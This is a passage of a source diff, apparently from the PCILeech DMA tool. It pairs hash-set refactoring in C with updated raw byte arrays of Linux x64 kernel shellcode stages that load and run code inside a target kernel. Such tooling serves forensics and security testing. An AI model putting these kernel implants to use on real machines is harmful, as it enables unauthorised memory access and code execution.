if(!qwValueToHash) { return; }
- iHash = HASH_FUNCTION(qwValueToHash) & dwHashMask;
+ iHash = OB_SET_HASH_FUNCTION(qwValueToHash) & dwHashMask;
while(_ObSet_GetIndexFromHash(pvs, iHash)) {
iHash = (iHash + 1) & dwHashMask;
}
@@ -182,7 +187,7 @@ VOID _ObSet_RemoveHash(_In_ POB_SET pvs, _In_ DWORD iHash)
iNextHash = (iNextHash + 1) & dwHashMask;
iNextEntry = _ObSet_GetIndexFromHash(pvs, iNextHash);
if(0 == iNextEntry) { return; }
- iNextHashPreferred = HASH_FUNCTION(_ObSet_GetValueFromIndex(pvs, iNextEntry)) & dwHashMask;
+ iNextHashPreferred = OB_SET_HASH_FUNCTION(_ObSet_GetValueFromIndex(pvs, iNextEntry)) & dwHashMask;
if(iNextHash == iNextHashPreferred) { continue; }
if(pvs->fLargeMode) {
pvs->pHashMapLarge[iNextHash] = 0;
@@ -198,7 +203,7 @@ BOOL _ObSet_GetIndexFromValue(_In_ POB_SET pvs, _In_ QWORD v, _Out_opt_ PDWORD p
{
DWORD dwIndex;
DWORD dwHashMask = pvs->cHashMax - 1;
- DWORD dwHash = HASH_FUNCTION(v) & dwHashMask;
+ DWORD dwHash = OB_SET_HASH_FUNCTION(v) & dwHashMask;
// scan hash table to find entry
while(TRUE) {
dwIndex = _ObSet_GetIndexFromHash(pvs, dwHash);
@@ -253,6 +258,16 @@ QWORD _ObSet_GetNext(_In_ POB_SET pvs, _In_ QWORD value)
return _ObSet_GetValueFromIndex(pvs, iValue + 1);
}
+QWORD _ObSet_GetNextByIndex(_In_ POB_SET pvs, _Inout_ PDWORD pdwIndex)
+{
+ if(*pdwIndex == 0) {
+ *pdwIndex = pvs->c - 1;
+ } else {
+ *pdwIndex = *pdwIndex - 1;
+ }
+ return _ObSet_GetValueFromIndex(pvs, *pdwIndex);
+}
+
/*
* Retrieve the next value given a value. The start value and end value are the
* ZERO value (which is a special reserved non-valid value).
@@ -268,11 +283,28 @@ QWORD ObSet_GetNext(_In_opt_ POB_SET pvs, _In_ QWORD value)
OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, QWORD, 0, _ObSet_GetNext(pvs, value))
}
+/*
+* Retrieve the given an index. To start iterating, use index 0. When no more
+* items are available, the function will return 0.
+* Add/Remove rules:
+* - Added values are ok - but will not be iterated over.
+* - Removal of current value and already iterated values are ok.
+* - Removal of values not yet iterated is FORBIDDEN. It causes the iterator
+* fail by returning the same value multiple times or skipping values.
+* -- pvs
+* -- pdwIndex
+* -- return
+*/
+QWORD ObSet_GetNextByIndex(_In_opt_ POB_SET pvs, _Inout_ PDWORD pdwIndex)
+{
+ OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, QWORD, 0, _ObSet_GetNextByIndex(pvs, pdwIndex))
+}
+
POB_DATA _ObSet_GetAll(_In_ POB_SET pvs)
{
DWORD iValue;
POB_DATA pObData;
- if(!(pObData = Ob_Alloc(OB_TAG_CORE_DATA, 0, sizeof(OB) + (pvs->c - 1) * sizeof(QWORD), NULL, NULL))) { return NULL; }
+ if(!(pObData = Ob_AllocEx(pvs->ObHdr.H, OB_TAG_CORE_DATA, 0, sizeof(OB) + (pvs->c - 1) * sizeof(QWORD), NULL, NULL))) { return NULL; }
for(iValue = pvs->c - 1; iValue; iValue--) {
pObData->pqw[iValue - 1] = _ObSet_GetValueFromIndex(pvs, iValue);
}
@@ -403,11 +435,11 @@ BOOL _ObSet_Push(_In_ POB_SET pvs, _In_ QWORD value)
{
POB_SET_TABLE_ENTRY pTable = NULL;
DWORD iValue = pvs->c;
- WORD iDirectory = (iValue >> 14) & (OB_SET_ENTRIES_DIRECTORY - 1);
- WORD iTable = (iValue >> 9) & (OB_SET_ENTRIES_TABLE - 1);
- WORD iValueStore = iValue & (OB_SET_ENTRIES_STORE - 1);
+ WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue);
+ WORD iTable = OB_SET_INDEX_TABLE(iValue);
+ WORD iValueStore = OB_SET_INDEX_STORE(iValue);
if((value == 0) || _ObSet_Exists(pvs, value)) { return FALSE; }
- if(iValue == OB_SET_ENTRIES_DIRECTORY * OB_SET_ENTRIES_TABLE * OB_SET_ENTRIES_STORE) { return FALSE; }
+ if(iValue == OB_SET_TABLE_MAX_CAPACITY) { return FALSE; }
if(iValue == pvs->cHashGrowThreshold) {
if(!_ObSet_Grow(pvs)) {
return FALSE;
diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h
index 3151268..952d2a4 100644
--- a/pcileech/shellcode.h
+++ b/pcileech/shellcode.h
@@ -432,46 +432,48 @@ const BYTE LINUX_X64_STAGE2_BIN[] = {
0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8d, 0x35,
0x9c, 0xff, 0xff, 0xff, 0x8b, 0x05, 0xa6, 0xff, 0xff, 0xff, 0x4c, 0x03, 0xf0, 0xe8, 0x18, 0x00,
0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x58, 0x0f, 0x22,
- 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x07, 0x02, 0x00,
- 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0x0c, 0x02, 0x00, 0x00,
- 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x14,
+ 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x16, 0x02, 0x00,
+ 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0x1b, 0x02, 0x00, 0x00,
+ 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x1e, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x14,
0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x0f,
- 0x84, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0x4d, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8,
- 0x49, 0x8b, 0xfd, 0xe8, 0x19, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x48, 0x8d, 0x05, 0x1e, 0xff,
- 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xcf, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f,
- 0x84, 0xc6, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xfc, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff,
- 0xd0, 0x49, 0x8b, 0xfc, 0xe8, 0x27, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00,
- 0x48, 0x83, 0xef, 0x08, 0x48, 0x8d, 0x05, 0x22, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x38, 0x49,
- 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00, 0x48, 0x03, 0xf7, 0x48, 0x89, 0x06, 0x48,
- 0x85, 0xff, 0x75, 0xdc, 0x48, 0x8d, 0x3d, 0x46, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85,
- 0xc0, 0x74, 0x24, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6,
- 0x48, 0x33, 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0x95, 0x01, 0x00, 0x00, 0xff, 0xd0,
- 0x48, 0x85, 0xc0, 0x74, 0x02, 0xeb, 0x2a, 0x48, 0x8d, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x41, 0xff,
- 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x45, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00,
- 0x48, 0x33, 0xf6, 0x48, 0x8d, 0x15, 0x69, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74,
- 0x2a, 0x49, 0x89, 0x44, 0x24, 0x58, 0x4d, 0x89, 0x74, 0x24, 0x10, 0x48, 0x8d, 0x3d, 0x23, 0x01,
- 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x49, 0x8b, 0x7c, 0x24, 0x58, 0xff,
- 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x05, 0x41, 0x8b, 0xc5, 0xeb, 0x05, 0xb8, 0xff, 0xff, 0xff, 0xff,
- 0x0f, 0x20, 0xc1, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x89, 0x05, 0x32, 0xfe,
- 0xff, 0xff, 0xc3, 0x48, 0x8d, 0x3d, 0xfb, 0x00, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0,
- 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff,
- 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8d, 0x3d, 0xe3,
- 0x00, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48,
- 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff,
- 0x5f, 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b, 0xc7, 0xc3,
- 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0xeb, 0x07, 0x6d,
- 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05,
- 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00,
- 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00,
- 0x74, 0xd4, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65,
- 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x5f,
- 0x6f, 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61,
- 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x61, 0x6c, 0x6c, 0x6f,
- 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f,
- 0x72, 0x79, 0x5f, 0x78, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f,
- 0x63, 0x65, 0x73, 0x73, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74,
- 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61,
- 0x73, 0x65, 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00
+ 0x84, 0x05, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0x5c, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8,
+ 0x49, 0x8b, 0xfd, 0xe8, 0x28, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x49, 0x8b, 0xfc, 0xe8, 0x5c,
+ 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xef, 0x08, 0x48, 0x8d,
+ 0x05, 0x57, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x38, 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00,
+ 0x10, 0x00, 0x00, 0x48, 0x03, 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, 0xff, 0x75, 0xdc, 0x48, 0x8d,
+ 0x3d, 0xb2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d,
+ 0xb2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x9a, 0x00, 0x00, 0x00,
+ 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01, 0x00, 0x00,
+ 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x3d, 0x46, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0,
+ 0x74, 0x24, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48,
+ 0x33, 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0xa4, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48,
+ 0x85, 0xc0, 0x74, 0x02, 0xeb, 0x2a, 0x48, 0x8d, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6,
+ 0x48, 0x85, 0xc0, 0x74, 0x45, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48,
+ 0x33, 0xf6, 0x48, 0x8d, 0x15, 0x78, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x2a,
+ 0x49, 0x89, 0x44, 0x24, 0x58, 0x4d, 0x89, 0x74, 0x24, 0x10, 0x48, 0x8d, 0x3d, 0x32, 0x01, 0x00,
+ 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x49, 0x8b, 0x7c, 0x24, 0x58, 0xff, 0xd0,
+ 0x48, 0x85, 0xc0, 0x74, 0x05, 0x41, 0x8b, 0xc5, 0xeb, 0x05, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x0f,
+ 0x20, 0xc1, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x89, 0x05, 0x23, 0xfe, 0xff,
+ 0xff, 0xc3, 0x48, 0x8d, 0x3d, 0x0a, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74,
+ 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3,
+ 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8d, 0x3d, 0xf2, 0x00,
+ 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f,
+ 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b, 0xc7, 0xc3, 0x48,
+ 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0xeb, 0x07, 0x6d, 0x73,
+ 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9,
+ 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, 0xff,
+ 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74,
+ 0xd4, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x00,
+ 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x5f, 0x6f,
+ 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67,
+ 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63,
+ 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72,
+ 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79,
+ 0x5f, 0x78, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65,
+ 0x73, 0x73, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62,
+ 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, 0x73, 0x65,
+ 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00
};
const BYTE LINUX_X64_STAGE3_BIN[] = {
@@ -479,70 +481,74 @@ const BYTE LINUX_X64_STAGE3_BIN[] = {
0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64,
0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48,
0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x8d, 0x0d, 0xc4, 0xef, 0xff, 0xff, 0x41, 0x57, 0x4c, 0x8b,
- 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x46, 0x04, 0x00, 0x00, 0x49, 0x8b,
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x86, 0x04, 0x00, 0x00, 0x49, 0x8b,
0xe7, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2,
- 0x49, 0xc7, 0xc5, 0x70, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff, 0xff, 0xff, 0x50, 0x48,
- 0x8d, 0x05, 0xa0, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xac, 0x00, 0x00, 0x00, 0x50, 0x48,
- 0x8d, 0x05, 0xb1, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xb6, 0x00, 0x00, 0x00, 0x50, 0x48,
- 0x8d, 0x05, 0xb5, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xb6, 0x00, 0x00, 0x00, 0x50, 0x48,
- 0x8d, 0x05, 0xdc, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xea, 0x00, 0x00, 0x00, 0x50, 0x48,
- 0x8d, 0x05, 0xea, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xfa, 0x00, 0x00, 0x00, 0x50, 0x48,
- 0x8d, 0x05, 0xe2, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xfe, 0x00, 0x00, 0x00, 0x50, 0x48,
- 0x8d, 0x05, 0x07, 0x01, 0x00, 0x00, 0x50, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8,
- 0x05, 0x01, 0x00, 0x00, 0x4b, 0x89, 0x04, 0x2e, 0x4d, 0x85, 0xed, 0x75, 0xea, 0x49, 0x8b, 0x46,
- 0x48, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, 0x46, 0x58, 0x49, 0x89, 0x46, 0x48, 0x49, 0x8b,
- 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, 0x46, 0x68, 0x49, 0x89, 0x46, 0x08, 0x41,
- 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65,
- 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65,
- 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x5f, 0x5f, 0x66, 0x72, 0x65, 0x65, 0x5f, 0x70, 0x61,
- 0x67, 0x65, 0x73, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x73, 0x63, 0x68, 0x65, 0x64,
- 0x75, 0x6c, 0x65, 0x00, 0x64, 0x6f, 0x5f, 0x67, 0x65, 0x74, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66,
- 0x64, 0x61, 0x79, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f,
- 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, 0x73,
- 0x65, 0x00, 0x77, 0x61, 0x6c, 0x6b, 0x5f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x5f, 0x72, 0x61,
- 0x6d, 0x5f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x69, 0x6f, 0x75, 0x6e, 0x6d, 0x61, 0x70, 0x00,
- 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x5f,
- 0x6e, 0x6f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x00, 0x6b, 0x74, 0x69, 0x6d, 0x65, 0x5f, 0x67, 0x65,
- 0x74, 0x5f, 0x72, 0x65, 0x61, 0x6c, 0x5f, 0x74, 0x73, 0x36, 0x34, 0x00, 0x67, 0x65, 0x74, 0x6e,
- 0x73, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x36, 0x34, 0x00, 0x61, 0x6c, 0x6c,
- 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b,
- 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24,
- 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48,
- 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7,
- 0x48, 0x8d, 0x3d, 0x3d, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b,
- 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x41,
- 0x57, 0x48, 0x8b, 0xf9, 0x4c, 0x8b, 0xfa, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x49, 0x03, 0xc7, 0x41,
- 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x17, 0xff, 0xff, 0xff, 0xff, 0xd0,
- 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0xea, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x52, 0x48, 0x8b, 0xf9, 0xe8, 0xd5, 0xff, 0xff, 0xff, 0x5a,
- 0x48, 0x2b, 0xd0, 0x48, 0xc1, 0xea, 0x07, 0x48, 0xc1, 0xe2, 0x0c, 0x48, 0x8b, 0xc2, 0x5e, 0x5f,
- 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x48, 0x8b, 0x42, 0x28, 0x48, 0x8b, 0x4a,
- 0x48, 0x48, 0x03, 0xc1, 0x48, 0x89, 0x38, 0x48, 0x89, 0x70, 0x08, 0x48, 0x83, 0xc1, 0x10, 0x48,
- 0x89, 0x4a, 0x48, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x4c,
- 0x8b, 0x42, 0x40, 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, 0x4c, 0x3b, 0xc7,
- 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, 0xc0, 0x48, 0xff,
- 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,
+ 0x49, 0xc7, 0xc5, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff, 0xff, 0xff, 0x50, 0x48,
+ 0x8d, 0x05, 0xb8, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xef, 0x00, 0x00, 0x00, 0x50, 0x48,
+ 0x8d, 0x05, 0xf4, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xf9, 0x00, 0x00, 0x00, 0x50, 0x48,
+ 0x8d, 0x05, 0xf8, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xf9, 0x00, 0x00, 0x00, 0x50, 0x48,
+ 0x8d, 0x05, 0x1f, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x2d, 0x01, 0x00, 0x00, 0x50, 0x48,
+ 0x8d, 0x05, 0x2d, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x3d, 0x01, 0x00, 0x00, 0x50, 0x48,
+ 0x8d, 0x05, 0x25, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x41, 0x01, 0x00, 0x00, 0x50, 0x48,
+ 0x8d, 0x05, 0x4a, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x64, 0x00, 0x00, 0x00, 0x50, 0x48,
+ 0x8d, 0x05, 0x6a, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x71, 0x00, 0x00, 0x00, 0x50, 0x49,
+ 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, 0x30, 0x01, 0x00, 0x00, 0x4b, 0x89, 0x04, 0x2e,
+ 0x4d, 0x85, 0xed, 0x75, 0xea, 0x49, 0x8b, 0x46, 0x48, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b,
+ 0x46, 0x58, 0x49, 0x89, 0x46, 0x48, 0x49, 0x8b, 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49,
+ 0x8b, 0x46, 0x68, 0x49, 0x89, 0x46, 0x08, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x61, 0x6c,
